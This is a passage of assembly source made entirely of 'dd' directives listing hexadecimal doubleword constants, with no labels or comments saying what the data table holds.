		dd 0CB3A020Dh, 301803DFh, 5B91C1C0h, 71FA2D00h,	0BFEFE175h
		dd 6C0A0064h, 0C2868E5Eh, 7C03D010h, 0F96E9511h, 23438839h
		dd 65F00E0h, 624BABB3h,	42007A24h, 756DFC81h, 144907h
		dd 8798CC60h, 534582F9h, 6206DC1Dh, 7397EB87h, 50B6C530h
		dd 2A7A0003h, 81800CC1h, 43004D48h, 0A8A0B93Fh,	15BDEBh
		dd 9E496124h, 52E33427h, 9B113800h, 0D9CF9622h,	0C0540AE6h
		dd 9EB4E4FAh, 0F2EE04CAh, 0BA60B813h, 7A15A60Ch, 0BFFC0F10h
		dd 9A372300h, 0BC87EDD7h, 78B798Ch, 8532FD9Fh, 808A8553h
		dd 0DBBF9B52h, 0A4F94707h, 6EA12DF8h, 6A64FCD4h, 11B6072Eh
		dd 1716A2B5h, 0E529F308h, 0E6CDA6C8h, 0BA57CCFFh, 83A8673Fh
		dd 2DA02AEAh, 5D2FE0D9h, 0C856006Ah, 0BA29D16Bh, 193D2301h
		dd 59528594h, 0C31F5348h, 0E67FD800h, 0EE0B58h,	322F14EAh
		dd 1EC3A5ADh, 37BBA605h, 0C000E2DDh, 59483169h,	0D96700F6h
		dd 95276F90h, 30C038AFh, 4863A34Eh, 46F900E3h, 6ACAC374h
		dd 717EF816h, 89E92300h, 5ACC1B4Dh, 7F431691h, 3FA100BCh
		dd 0E5E30197h, 0F8CD2805h, 90C716ECh, 65E2D150h, 26217DADh
		dd 12081Eh, 0C5978182h,	641CC273h, 551C4D4Ch, 39E3DCh
		dd 7ADA04F6h, 2416E4FFh, 15B6C0h, 0B059E0ACh, 25B8FA34h
		dd 0A4290160h, 0D9C19Bh, 9F2B7F45h, 710B56A3h, 2DE45807h
		dd 22371D63h, 73AA44C0h, 0F0B10564h, 1832C8h, 0D08ACFB8h
		dd 0ACFEC70Dh, 2DDA0200h, 64E8EF70h, 14A4171Eh,	0C2F42044h
		dd 0A06EDADh, 0C51B792Bh, 398D0340h, 0C4B7B1EBh, 0ABD01000h
		dd 0A426AFA5h, 0E6AD7E71h, 58BA4Fh, 0B714089Bh,	0A7E7A0E0h
		dd 21A3BA00h, 700BBC05h, 0A1F879h, 1196312Fh, 0D6D2CBAAh
		dd 99EE7C00h, 0AB147502h, 2A220939h, 2C80D4D1h,	3CD51F7Eh
		dd 0CA8DA203h, 0A86FFC86h, 38896Eh, 0EA3E9B0Eh,	368332A8h
		dd 44ACC600h, 0B90DDC35h, 7B1A0063h, 46BE19C0h,	0E7006801h
		dd 0EB6EB26Bh, 508370D8h, 1BBC81Ch, 1A6650F1h, 0C4D125E9h
		dd 57008E0Fh, 5E237D4Fh, 346DFAAh, 737143F4h, 0E900DBD2h
		dd 0BF16726Bh, 2107B8h,	8F253875h, 1BAAFE69h, 0B9DCE303h
		dd 0DAF1410Ah, 319CE0A7h, 190D005Dh, 6A1082FEh,	4E00F7BDh
		dd 4CCD2FD7h, 91583Ch, 2711CC2Eh, 0EC402A02h, 8DE66207h
		dd 0E480CFE1h, 93AD4Bh,	79DC21E2h, 480B81F6h, 9AD7B203h
		dd 0C5B81241h, 0ACFEE440h, 2E8886h, 0C59C76AAh,	3624D983h
		dd 14952F0Ch, 2B7CD4h, 3E5CFABh, 8362E90Eh, 4F762A12h
		dd 8889D441h, 0DC403D49h, 0B4D0AC86h, 0FB0400CCh, 0F0C8F411h
		dd 59749100h, 8BA6364Fh, 1CE12858h, 0DBAD00F2h,	279B8156h
		dd 0FA7C7B15h, 9D0D710Fh, 60202CC4h, 16B290C0h,	3DEAF1h
		dd 0D85F1596h, 3000E062h, 358D8A87h, 7872FDh, 8B608691h
		dd 6F0F2B3Dh, 0B0044305h, 8847BE2Dh, 9C6109C8h,	3D5DA49h
		dd 0D60BECh, 8F171B3Bh,	0F2788D7Bh, 1019B933h, 0EC18092h
		dd 0F70100EAh, 18ACD355h, 41015875h, 0DC152F38h, 0D2E8921Fh
		dd 78340061h, 0E21ED66Eh, 62F00C93h, 52007076h,	96110FFEh
		dd 1CB98A04h, 7DEDFAh, 2376E9E5h, 0C30AE2E7h, 9CCCC40Ah
		dd 5EA59587h, 8799D0B0h, 30E11C15h, 1D598058h, 0FCC92547h
		dd 2D4AA800h, 3250CF6Bh, 0A10600C0h, 0EDB28A92h, 6A00CE0Ch
		dd 0DD617DDCh, 506930h,	0EC32B152h, 0DBF3BC6Dh,	913C282Eh
		dd 58DB622Dh, 15FE8Ch, 6CA3129Fh, 9236BF9Eh, 33557D03h
		dd 0F4ACD6C6h, 0DD28F480h, 43D40CF3h, 0E110BA39h, 44DF3600h
		dd 0E0C5B1B2h, 0EC8902B4h, 5711B934h, 54ED2460h, 0B0776907h
		dd 13F061B5h, 3AC893C9h, 0DC873DBDh, 0D4126392h, 5C1C9091h
		dd 0F8009C11h, 4F9871C4h, 1E74A77h, 0B537B2B6h,	0F011D3B0h
		dd 8C075406h, 0D8957AEDh, 0C5A3DA10h, 0FA2600A2h, 9179246Ah
		dd 0D4705540h, 7C8D3200h, 0F36B9C05h, 0D53B01DFh, 25C0611Ah
		dd 527A70FCh, 4ECBF601h, 12847615h, 0EE9D3D0h, 47A01351h
		dd 636A85A0h, 0A40003BCh, 4D754ADCh, 0B4CC42h, 2E6DED37h
		dd 0ECC7B20Fh, 97945007h, 43B051B0h, 0E526E45h,	0FE72DCBBh
		dd 5BCC1080h, 7C00EC83h, 490C96BDh, 1BE45Fh, 61A732DBh
		dd 0EED0E938h, 77FBB400h, 0AE1474F4h, 0E4C800C6h, 0E1FFE86h
		dd 6F0A9206h, 0D68E09DCh, 85A48B00h, 0F01EAAh, 49BE43F5h
		dd 0F160BD98h, 885D6100h, 0E17D54C5h, 0DCA2008Ah, 55F622EBh
		dd 0B008C48h, 2B212EC9h, 0FAA71E0h, 4BBC584h, 39FCA5C2h
		dd 207DB061h, 731C3BD8h, 71C1D2F9h, 0F1B03720h,	0ED234880h
		dd 5421B7BEh, 6D67A607h, 313074ADh, 539AC4h, 0FF2471A7h
		dd 1499392Ah, 0CAF2C500h, 0F6A0333Bh, 0B6A246Bh, 562F0090h
		dd 406DAE3Ch, 8C0E9C00h, 685245C8h, 0EDE50E31h,	9680B83Fh
		dd 0B5A74137h, 5000F75h, 8A3AE01Fh, 1D6CD318h, 0CFF02909h
		dd 5420451Bh, 9935470Dh, 8CEBC400h, 0A5D62441h,	0F8C812E1h
		dd 8DB86Ah, 0F14769C9h,	738B02BEh, 0C4AF261Ch, 395DA8E0h
		dd 0F74E66h, 0D86D9FDEh, 0D535292Eh, 0DD6BCE00h, 34545694h
		dd 0BE9700D6h, 1B2EBD12h, 7C00B9D3h, 632FA079h,	0B43A20h
		dd 0B7D66D75h, 0BFCE8178h, 0F935170Eh, 7D65A67Ch, 1264F071h
		dd 88AA4C42h, 973630B8h, 4A1120ABh, 32FC7292h, 97DC220Bh
		dd 0EEC507Dh, 6E9E4095h, 0F4E3409Fh, 15243296h,	0FFC029DFh
		dd 7884D63Ah, 89BC0020h, 93B826E1h, 0CA353913h,	7E804091h
		dd 54B43142h, 0EB61C0Eh, 0A130840Bh, 0A78BA5h, 0C2AC2908h
		dd 1F121647h, 4C8BDC6h
		dd 0ED18080Dh, 0A6608E7Bh, 0DB7ADCh, 0DE13D648h, 1EB89054h
		dd 0D596707h, 605ECC0Eh, 615A82E4h, 27A04h, 0FAC55C37h
		dd 681FC38Dh, 21000DEEh, 0AD16EE25h, 0D42646h, 632E2BE6h
		dd 0FA486AAAh, 6E18C007h, 0F8175AF9h, 9EDD3860h, 6F7C002Ah
		dd 708FFA4Dh, 0FB00A6D7h, 0DBA5C576h, 7AD82h, 0ED3C185Ch
		dd 0F40FA7E0h, 8316A207h, 6E07E0Ah, 39758D9Ch, 3900F96Ah
		dd 0E602BAB6h, 0FB00B003h, 811611Ch, 0A069DA09h, 0BCA681h
		dd 0E1CB1DDBh, 0FB8BCD47h, 0B2067900h, 285C2AA4h, 0F3E40016h
		dd 8D4C5B84h, 0E8002C7Ah, 51791006h, 1460496Eh,	0E058E359h
		dd 7FE8C880h, 1D741753h, 4754BF00h, 57AEA876h, 94710FE3h
		dd 0F420D64Ah, 0C7130942h, 18A0B024h, 646D3B8Fh, 3AC01AA9h
		dd 583A33CCh, 2165B3A8h, 93EA800Ch, 8377467Eh, 396DB601h
		dd 69ABFC7h, 1FFB8880h,	0EE03CAEh, 1F4B9058h, 700B58A3h
		dd 0D62800BFh, 49449904h, 0B000007Fh, 0F6F28BBCh, 9D19ECC6h
		dd 1708C843h, 0D07C092Bh, 3C0E2500h, 401E8CF8h,	7B4733C3h
		dd 0AB10FFCBh, 24FE8FEBh, 4144E041h, 0EF5E4604h, 0D089086h
		dd 182AA29h, 0EE899A27h, 0A8003BCCh, 0C1BF3669h, 1A372E45h
		dd 1FDF0E02h, 0C0E0658Bh, 0BF16300Ch, 5000A40Dh, 0AE18983Ch
		dd 9A4007BAh, 10EA248Ah, 0A850FF7Ah, 60FA4980h,	1F47D978h
		dd 9600EF30h, 0D9A26F4h, 118689h, 5B140EE3h, 0B4805A25h
		dd 0F7F3A800h, 94F98EEEh, 0A48C0785h, 104FFE3Eh, 443849C0h
		dd 873B6A2Ch, 0CCC0721Fh, 0BDFE1986h, 57FB031Ch, 18E69364h
		dd 0ABE0A1F3h, 6C004043h, 1F6FF907h, 0AD01BBh, 883CF2A7h
		dd 344641D2h, 0F8668C03h, 0F07A5175h, 0BBCA23h,	0BE1638DEh
		dd 0A1626FE9h, 0C7B98201h, 0B7566A53h, 0F9B5ECh, 352AD04Eh
		dd 757EC085h, 0D30C1E00h, 26346AFFh, 55E601BBh,	0CD6B4F0Fh
		dd 43DAE445h, 5EFFF000h, 6C907D50h, 7F92309Bh, 678DE818h
		dd 638220C0h, 0C428EC06h, 0C0427A31h, 3937E2DBh, 9F656E00h
		dd 62A7C870h, 5F67002Bh, 55A6E010h, 317649CEh, 0B48014A7h
		dd 0A0E46357h, 61806572h, 0B2043E82h, 0C79435Fh, 0C19DC310h
		dd 4E011B18h, 0B8CDAF04h, 57FCDFA3h, 4A450058h,	50C37CEFh
		dd 0E306FDEEh, 0AEFA511Bh, 0E7F72028h, 6BCF4A00h, 2EC2496h
		dd 0C440167h, 2CE9201Fh, 8941C881h, 27BD2600h, 718D5A5Fh
		dd 3EB800A9h, 0F895C438h, 2100D7DBh, 1529F333h,	809B4Eh
		dd 60E75B88h, 65956AD4h, 9100737Ah, 436CBFB5h, 73C3355Ah
		dd 0D18700D2h, 59F98BCBh, 0C9006149h, 60C6B686h, 757A9712h
		dd 2CA21DEAh, 6F8C4067h, 0C94E8AABh, 4B88EC1Ch,	51568280h
		dd 26686C09h, 1342693h,	0C144E8C3h, 0A93DF8ACh,	0A807BF01h
		dd 0F51E9FC7h, 1C6B4D0h, 0AFAD1B9Eh, 209D24B3h,	0DD0064EDh
		dd 3D5CA819h, 0F88D76h,	0E8716597h, 9DDE44CEh, 3E79FE03h
		dd 0A8055D22h, 0C61A80h, 21EC3B75h, 0FDAC26B9h,	0B5001E76h
		dd 0B102EA7Bh, 8D9EDAh,	0F0DBA890h, 3FF1755Bh, 697BCB00h
		dd 0C6DA99EFh, 7D0D00D1h, 0F602334Eh, 5FEAC76Eh, 1F00FCF4h
		dd 435D74B6h, 46F03h, 0FACCE7CDh, 35568C84h, 7C32F00h
		dd 47401D58h, 97180EEEh, 0C0DD983Ah, 539E6633h,	0EB00CBC5h
		dd 96308E72h, 0F59DBE7h, 2164FE42h, 4C3F39A0h, 200F0826h
		dd 0D291870Ah, 8D5B2C06h, 711B1F30h, 0A1A8402Eh, 7093CB2Fh
		dd 0EC1EDCE0h, 820311DFh, 0C0AAD5B7h, 0EBF5A7h,	0A0982558h
		dd 0F0CCC660h, 0E14902E2h, 85A43CB8h, 0E4B10782h, 0B6FCD400h
		dd 2C9A8A98h, 83ED93h, 0A13D5752h, 70C0119Eh, 0F3F2BBF4h
		dd 5919C042h, 1CFE7BE7h, 98C9AD00h, 58476034h, 491E00BFh
		dd 0D5A444D6h, 9F005581h, 0C8DB5494h, 71CC4Dh, 3504F8D0h
		dd 0E1EDB62Bh, 6A001A7Ch, 586C2F4Eh, 607F12F5h,	2429106Fh
		dd 7E00A5D9h, 70B0D5DDh, 514CB5CBh, 8FD48CFAh, 65281295h
		dd 61544046h, 0A4AB2723h, 0D05B5200h, 0B443EBEFh, 0B130CB3h
		dd 51B83F71h, 40310109h, 8DD88064h, 3174444Bh, 242067A2h
		dd 6F19D8B3h, 0EE11320Eh, 0D4CFA0C9h, 0FAD5EAC2h, 77E4A093h
		dd 36E40013h, 84D77B90h, 7D1E112Fh, 41AE31C2h, 7F996900h
		dd 0B3A0FBh, 26613B0h, 7B2D88A3h, 0E6683A03h, 9869F13Fh
		dd 4C04CFAAh, 57001CEEh, 0CA4D479Fh, 0B3B044C6h, 256DD480h
		dd 94D448h, 0BD82F64Eh,	37B2AF2h, 0F3D3AC36h, 21392FE2h
		dd 0FE69808Ch, 5BF586B9h, 776F16DAh, 5BE0015h, 1E251682h
		dd 1DA2F58h, 494BCBCDh,	34248A40h, 0FA018EE6h, 0D6E8C426h
		dd 44491CD4h, 665DE8h, 0A02F3EBCh, 0B37203DFh, 259518C0h
		dd 218C302h, 33F37DACh,	848FBA1h, 0E209A39Ah, 76F0E57h
		dd 0D1A0655Ch, 4E95DEh,	217AAFEh, 5CEE1F1Ah, 276D0500h
		dd 61C5B25h, 47FA007Eh,	42777415h, 6724F465h, 897860CBh
		dd 71DE30C6h, 5FE16690h, 60562A18h, 771DB0h, 5029B03Ah
		dd 5C252D71h, 5D009877h, 4E137238h, 508EECBDh, 2070CC68h
		dd 7A1CF020h, 0BA03C2D1h, 75BD54B2h, 0EFB809C1h, 8C30BCF9h
		dd 3801A99Eh, 34021F67h, 62311E16h, 0E6505057h,	74F2B26Ah
		dd 0A6630799h, 8475B92Eh, 0E9D480BCh, 5200ADEEh, 0E35F1AAFh
		dd 9EFD1h, 7FA9F351h, 0BC89B528h, 0F700E679h, 0F8DCBDBEh
		dd 187157A4h, 805D69EBh, 0AF0B6B7Bh, 8DB40A7h, 900C850h
		dd 0D95EB61h, 7FFA133Bh, 3D49001Bh, 0BCFB2BC9h,	25350709h
		dd 0E36F00CBh, 5E7632h,	0CC1DEFA7h, 50D2D4B6h, 60C280F8h
		dd 85A897D0h, 0D8004FFCh, 0F7AE6F51h, 8BC4A0E2h, 30BF72EBh
		dd 0F0D096E0h, 3F6B5BAh, 88153200h, 388FEF75h, 2B700009h
		dd 2819CF98h, 8D60AD81h, 0F235F6B1h, 8B3A060Dh,	0D95BE6C4h
		dd 8D086907h, 109CED37h, 9FC30061h, 0C5C95F74h,	470094F2h
		dd 1E921742h, 7C71DB5h,	0CD563958h, 54B61325h, 2E6E63B8h
		dd 61AA3600h, 0E90F7C1h, 3DD9735Ah, 82028E4Dh, 0A0921D7Ah
		dd 0E8A06C47h, 84E3E500h, 4459C0E6h, 7D5803D6h,	56283329h
		dd 62639800h, 7CB56B75h, 467B013Bh, 0B759FEC6h,	0A7E095D9h
		dd 66E70ABCh, 0AE00F644h, 0F3C70710h, 4470051h,	49227BF0h
		dd 6E2673F4h, 3E5800CAh, 1DEE00E0h, 0FA112ABEh,	10010D20h
		dd 4B41FCECh, 48E489CBh, 6090491Bh, 87017F21h, 0B8477CCCh
		dd 2CA04EE6h, 0B05D1Bh,	200C0DD0h, 233BCD6Ah, 12948287h
		dd 61A44E32h, 889C790h,	0A0002BCCh, 5E4709A2h, 7A709548h
		dd 1CF88F3Bh, 8CA482A8h, 73D1CA58h, 2CF10355h, 6FDC0235h
		dd 6BC3E4D0h, 3EB93D00h, 0D2F50314h, 8FE4CB0h, 0BEFDC700h
		dd 9080DE29h, 60E68C00h, 1BED6550h, 0F0313A36h,	12C2CF81h
		dd 0E458A5C7h, 0CE03C855h, 34A0F2B6h, 3F9FA041h, 841A3391h
		dd 0D1EBEA88h, 72B529C8h, 4501B27Bh, 7AC240C1h,	98C4533Ch
		dd 9EDB00B9h, 33716170h, 0CF3F01EBh, 0C9CA001Bh, 0BE394110h
		dd 0A72C4CF3h, 2B400074h, 34E29B96h, 920F354Fh,	0E0FF8F26h
		dd 487DD1BBh, 12C80018h, 0A7B66CD6h, 85000C2Eh,	0A9571698h
		dd 2DF22DDh, 0B05FD2D0h, 2C5039E3h, 0B0180D24h,	0D5C27084h
		dd 51E0080h, 3F27002Bh,	0A418C9BEh, 7C00C088h, 5C7D449Eh
		dd 62A9BFh, 9A9813A7h, 6BE91DA6h, 0FE2AE600h, 0B450487Fh
		dd 0E09E07C7h, 40071333h, 0EA6C8937h, 17C9A118h, 963E71h
		dd 0F89D7DDDh, 14CC7205h, 852BA900h, 364D1ECh, 2D4B0057h
		dd 28989B81h, 211E140Bh
		dd 0F700846Ch, 0FD3078F1h, 663B005Ah, 0C29C04EDh, 0A00087F4h
		dd 849211FFh, 0ABFEE2h,	0E4990A72h, 10F79DFDh, 55607E67h
		dd 721D508Eh, 0BBDE0045h, 1B75213h, 1216BC94h, 0F422FC00h
		dd 90E74D90h, 1C85E260h, 960913h, 8E55192h, 704E066h, 0CF782A38h
		dd 6A4A5080h, 0D0760A2Dh, 89B47E5Dh, 38AE3686h,	0D4A0F689h
		dd 63AB25B9h, 8BA70A01h, 294871E6h, 8AB03082h, 30C8E5D1h
		dd 9201E18Dh, 21318E34h, 19803C49h, 170FDF05h, 0AF5CA1F7h
		dd 0AD230E10h, 0F9E081D6h, 0DC20BD1Eh, 0C2090780h, 0E0D119E4h
		dd 925D6F1Dh, 2C68740Eh, 0DA528198h, 8B40E059h,	0F68ED7F9h
		dd 0D6709FFh, 2CA378F8h, 0C91E3156h, 26803602h,	8717BCF4h
		dd 0F08CA3E6h, 92C60E2Ch, 0E3F33820h, 14692482h, 2460B1E9h
		dd 0D9E52977h, 60464FEh, 4A02C87Bh, 0DA4C3276h,	0CA6C6924h
		dd 2F2EC9FBh, 21B8719Eh, 7259F218h, 55BF3070h, 87F8F030h
		dd 4EF42A1Eh, 0B98E2C0h, 4AC467F1h, 645C01CBh, 0A41697E7h
		dd 0DB8270DAh, 0E1F61A9Ch, 98299618h, 8500A894h, 21040EA8h
		dd 0D6096B79h, 0B8BD80DCh, 8CDB3CB4h, 1D037098h, 0C418D5A2h
		dd 1EE3F9ADh, 2BB87C0h,	129D13FEh, 5B4052A3h, 2C038480h
		dd 0DC017F6Dh, 0D197A0C2h, 1A8B90Eh, 0A37853C7h, 19A43080h
		dd 30710B9h, 0EAA2D189h, 49A868EBh, 35E5843h, 7E4462Eh
		dd 45483B0h, 74B98028h,	0F1F6D195h, 0E5DB9602h,	0B0DE47C2h
		dd 1763CDCh, 0D168059Ah, 82292336h, 326C2019h, 7F32E0C8h
		dd 7180F7EBh, 74CA4948h, 0E548611Eh, 0B86919h, 0F06305B0h
		dd 3C991DCFh, 57370039h, 0D1BE58F2h, 313ED09h, 0B2EC8201h
		dd 24E452DBh, 8908AE36h, 0D8A04F73h, 746E104Ch,	0CC130F03h
		dd 0D05853EEh, 0C0F2E02Ah, 0AAE2A440h, 0FB003E89h, 531AAE77h
		dd 2CCBF784h, 0FA6AABh,	12EB0B82h, 0D900D8A0h, 0D1552565h
		dd 93DFFh, 8FC8CAD7h, 8B1558DFh, 27E4DE00h, 0EF100C5Eh
		dd 0CC2100E8h, 8EE98211h, 7476EA84h, 0F5E3F8C0h, 41B9E28h
		dd 59A01EB5h, 16C8C06Dh, 0B100D067h, 0B4E49AC4h, 48E80257h
		dd 0F48B84C7h, 0FCAD58A0h, 337E2DC0h, 2E699100h, 8F24F19Eh
		dd 0B8E80079h, 7EED83Eh, 9F3BF6E2h, 78A500FFh, 1926E9F8h
		dd 83EC0099h, 1D4C6527h, 83A012C1h, 0CCE65571h,	0BA8BDD00h
		dd 0D8607C08h, 285A0041h, 0A9DCAA66h, 0A00E1475h, 0A0E67293h
		dd 15DB0552h, 707CC3h, 805769DEh, 55F553DAh, 608BBA00h
		dd 0A5FC2BF1h, 0C0D3A34Fh, 4925Fh, 4E783C42h, 0FFAEEB85h
		dd 100807Fh, 1B5EA3ECh,	0D11D88h, 0AF3CA9FCh, 79E05751h
		dd 2C20B200h, 7BB9A6CAh, 28AB073Eh, 708EFBACh, 6CD2721Dh
		dd 150BA700h, 2E219298h, 168D0537h, 90F21B05h, 486BAB00h
		dd 8A65C300h, 0C6E7801Ah, 9CE900A3h, 86D1D225h,	0EF078485h
		dd 0BF193474h, 0D0596530h, 0FF271DF7h, 0FE8DDBDh, 8AA37855h
		dd 7DF33FC1h, 0A5F55E98h, 51A6B03h, 0AA424483h,	0C9C1C0D5h
		dd 186A603Dh, 1F51D193h, 2D010779h, 19BEAAD4h, 0CAF8453Ch
		dd 8EFA0EA7h, 38207EB3h, 0B7A9042Bh, 10D3FD03h,	88D5CF73h
		dd 3AB8F60Ch, 9480626Eh, 5304D72Eh, 0A5007793h,	70FF18B1h
		dd 39BAEDCFh, 0CD039A6Eh, 0D2CE9834h, 24B8A100h, 20B18E02h
		dd 0B740057h, 1F64D63Eh, 0DF002E23h, 0B39AB2CAh, 7FE670F5h
		dd 306B07B4h, 56F478h, 0FF4D3B58h, 6F398E7Bh, 0BA007F14h
		dd 0ED3FCAFEh, 7DFDAEh,	52E53CF9h, 8BF3B3BEh, 40400626h
		dd 0C0CA0Bh, 6310948Ch,	0E84E38BBh, 0B3BF058Fh,	843D0C00h
		dd 2C00BC28h, 0A34D5011h, 0F4FF1A68h, 2BE61Ch, 0C7CCDF9h
		dd 0B2B9A064h, 13BD7B58h, 7600F3DCh, 95F4DBB1h,	3CC9AD7h
		dd 0ED56B6C2h, 0EFF0218Ch, 311C939Ah, 8901A6C7h, 0D791482Bh
		dd 1880FF21h, 576E9597h, 3E1337A8h, 17009CAEh, 6B3998AAh
		dd 814C0016h, 8251FD34h, 86077A08h, 6295DAF3h, 66150AF0h
		dd 0D0FBF32Dh, 0D3E317h, 0BD5C2F20h, 0A94E816Ah, 2C2B8B3Ch
		dd 4D002CBBh, 977386C8h, 23C401F7h, 30DDA5E1h, 1CDB2055h
		dd 510C1101h, 4F81F37Dh, 0A0F73820h, 2CC778D7h,	3ACDCDAh
		dd 16ABBE07h, 0ED7C02B0h, 0D8CC2B00h, 4FE8B81Eh, 50B82Ch
		dd 82533409h, 6C26AFA8h, 8D0160F5h, 4D2E8400h, 1293BA8Ch
		dd 135619C0h, 0ECC620D3h, 3200C8ECh, 795F1AFBh,	1D9F9C7Eh
		dd 3F5B0DAEh, 13D184A6h, 0BB190057h, 0F59E6B77h, 0B61C9A0Bh
		dd 0D58EB0h, 43D9B1C4h,	36031DE5h, 561F00A9h, 410CC5F1h
		dd 5C10D260h, 1E347h, 0D1DDB38h, 0BA733ACCh, 0E356A926h
		dd 8B7C3200h, 131CA4h, 9345C3E6h, 22E0A01Bh, 0AB3D360Fh
		dd 0FAB58447h, 0D379D080h, 9D3F0082h, 0CD2F1C89h, 973E6972h
		dd 183800Ch, 962DD975h,	0FBA43CCCh, 0ACBB4A05h,	6993C01Eh
		dd 0C5009B49h, 847F6705h, 21E9A5h, 0B9C1F25Ch, 0C973FBDFh
		dd 5AE37101h, 0A34ADD19h, 3342060h, 9CE4B51h, 0EAF85E78h
		dd 0F0006E38h, 26CA1A83h, 9B51CFh, 248E5BA6h, 760B8C68h
		dd 504D441Dh, 0ED331E40h, 0B0B3A4F2h, 1C6401FDh, 5B77852Ch
		dd 1EF88088h, 0ADCEFCAAh, 7940468h, 0C01031F1h,	0E727B2F1h
		dd 0F49BD605h, 68C0DC54h, 505B7Ch, 4B770A3Eh, 8922385Ah
		dd 0A67E023Ch, 0E1002FC1h, 0EC84EE76h, 0F20C1E42h, 6CA20040h
		dd 0CE6080B5h, 8097703Ch, 0D12F2B31h, 0E18315h,	906DB20Ch
		dd 73799A82h, 5A5EEA03h, 0B85992FFh, 2AB0D8h, 57C03A0Fh
		dd 9BCFD531h, 1B2D201h,	5B59D432h, 804662F2h, 0F71F4D8Ch
		dd 0D6460928h, 5002D0Eh, 0F0EB9811h, 7C356D00h,	0F7814972h
		dd 0D0BB014Bh, 5AA58F86h, 8037E0B4h, 9160251Eh,	341AAF80h
		dd 2B9485h, 0E77264A5h,	0FF99E9ACh, 0C55B2000h,	8F2E3981h
		dd 552E6FDh, 5AB3AF48h,	4354A09Dh, 0FE94DB01h, 9EA7BC12h
		dd 18AD46h, 0ED850408h,	0AB447E5Dh, 844D1209h, 87DC40DEh
		dd 4C29C006h, 80361C5Ch, 421DB174h, 3ABE11EAh, 0A5007C12h
		dd 878118FFh, 72BA09h, 555D6928h, 0E1E65BA4h, 803A573Ch
		dd 830B46A9h, 85C25h, 65447B9Ch, 5B0E31E4h, 7501D572h
		dd 434E0B61h, 7887BEE1h, 0F11C7912h, 817C7D05h,	325DF0C8h
		dd 91F05908h, 24C80F93h, 3900C735h, 287B60A0h, 1F721600h
		dd 0DEB23379h, 8641001Ch, 0AEF17E99h, 0F0065D7Ch, 0DDC46DEDh
		dd 0C6900E9h, 6685FB59h, 3BE86137h, 0B10E087Bh,	803A124Fh
		dd 79FA4E27h, 0A8561EC8h, 7CECC002h, 6FD60EE9h,	0FF84E600h
		dd 3BCDAF0Ch, 0A13C1580h, 1000BC23h, 0B959E4Ah,	719FF6Ch
		dd 290841A4h, 0BB21ACh,	0C28FD29Eh, 0BB5F1EA6h,	232BB040h
		dd 1EF83521h, 40F60B44h, 3146143Bh, 0B93FA573h,	9480807Ch
		dd 5A928A7Fh, 3DE70101h, 446C9055h, 18FF08D6h, 18788C2Eh
		dd 9900DC0Ch, 745A9309h, 2AF04495h, 8470DAh, 0E7228FB3h
		dd 0A0B79607h, 82D3B028h, 0C1E87C00h, 9D8B6C92h, 699B1403h
		dd 8281C8F2h, 805A4DB5h, 0D31D11B9h, 57CC093h, 4FC47EE5h
		dd 0AA8C446Bh, 9E48309Bh, 3C0B238Bh, 0B0012A11h, 0E4A09E50h
		dd 9479D865h, 7AD4E800h, 87BEC5BAh, 98FEB8BDh, 0EBD8C06Eh
		dd 1EE58038h, 6A979B00h, 50C0D6CDh, 819900F7h, 0FE35F30Bh
		dd 0EFE00E3Eh, 5DC7801Ch, 0C0A3F14Eh, 2206B154h, 923812C4h
		dd 7E910909h, 76858580h, 8100A4A1h, 5D16257Fh, 0F4375Bh
		dd 0CB9C7C61h, 0CFA2C89Bh, 0B140680Fh, 91D6FD05h, 7EDBFB03h
		dd 21DC03A5h
		dd 0DDE50138h, 0E8A273D0h, 0D6A76400h, 7C9DECD8h, 2F563863h
		dd 1DFF1CF6h, 1B6DC79Fh, 8491A0C6h, 130028FEh, 90A9FD99h
		dd 0D435B7h, 0BE53A554h, 0C1AAB988h, 9F006178h,	8BD6817Fh
		dd 0EEACFB5Ch, 545A1C10h, 2BFC4E85h, 0BBC0109Ah, 0A63A97B9h
		dd 1EDF8CEAh, 60C308D2h, 11712086h, 290194B9h, 389FE1CBh
		dd 0F4E87014h, 60FAFC75h, 93929A1h, 0CD00BD64h,	0ECD7456Ch
		dd 0C8580FCBh, 0DEC0A070h, 46A5ACB9h, 0FEBF22D2h, 2EB90016h
		dd 725F5D4h, 18C00822h,	0E758A69Eh, 2A28C09Dh, 6149261Eh
		dd 6EAC5C01h, 0CF20228Eh, 7BF1D171h, 0B5863080h, 950D8374h
		dd 4418457Ch, 10180E58h, 0CE7292h, 0C0828476h, 3F622C93h
		dd 78F7F21Ch, 374BF40h,	1D4EDCDh, 776E8E83h, 21D997F5h
		dd 807FDDA9h, 0ECA1B061h, 784FB17h, 0AD93124Dh,	5B14434Ch
		dd 31352000h, 0AA4BE3ECh, 0E8B0017Ah, 56FB63F5h, 0D0C98FE1h
		dd 0B4B409Bh, 3ED90D5h,	0FC082D19h, 200AA979h, 8014117Ah
		dd 2BBA80BAh, 0A018A165h, 49A70072h, 5F9FFF34h,	12057992h
		dd 8FF47881h, 0A84429FCh, 61150E19h, 79CE6D22h,	0A94C75C7h
		dd 7280EAE3h, 4500BDF4h, 62C60EA5h, 12D9A97h, 2B761920h
		dd 0FC776326h, 0B0A29F6h, 0A0330786h, 0C5755A80h, 0FEAAF16Ch
		dd 9CED00E1h, 11C121CEh, 9771364Ch, 940EFE2Ah, 0F461E1F6h
		dd 84610808h, 0E049D182h, 0C48275Bh, 18A0FFB9h,	0B0181174h
		dd 27101351h, 0DC19C0E1h, 96C83631h, 0BF9D5800h, 0A87670B1h
		dd 3F010392h, 6F9CAA2Ah, 3115C683h, 0B4DB5Bh, 18EB82CCh
		dd 51D1FEh, 0FAF074EDh,	80B28E36h, 9F59CD03h, 0E45886h
		dd 5E027B31h, 0FEAEF7B7h, 0FC9C8200h, 0B0B273A4h, 0BE46061Fh
		dd 690C2741h, 0BB561201h, 0D4A6AB2Fh, 5E765480h, 47C62614h
		dd 10017E7Dh, 1993DE09h, 0F080D323h, 768EFB90h,	0C560E486h
		dd 2F92CD48h, 907B5411h, 53D00F4h, 0CCDD4813h, 1206F917h
		dd 0E36D2EEDh, 29080479h, 0EAD903BEh, 0A7D32DC0h, 1AE801F2h
		dd 0FF87369Dh, 11D85556h, 278DCD8h, 15129319h, 6AE15CA9h
		dd 1FB042B8h, 45679D80h, 0D900C23Eh, 3656FD78h,	0EEE161ABh
		dd 1320357h, 0C76D305Ah, 0EC808100h, 7783EE55h,	9FC12h
		dd 0F1FD59BBh, 0C2422F95h, 6EABBD01h, 4C38117Eh, 0F509E850h
		dd 0ED99C052h, 59260380h, 18FBB912h, 8FDD9C42h,	0FE0C4874h
		dd 61F102FFh, 0A15D930h, 0FA70F940h, 41D14567h,	963D6931h
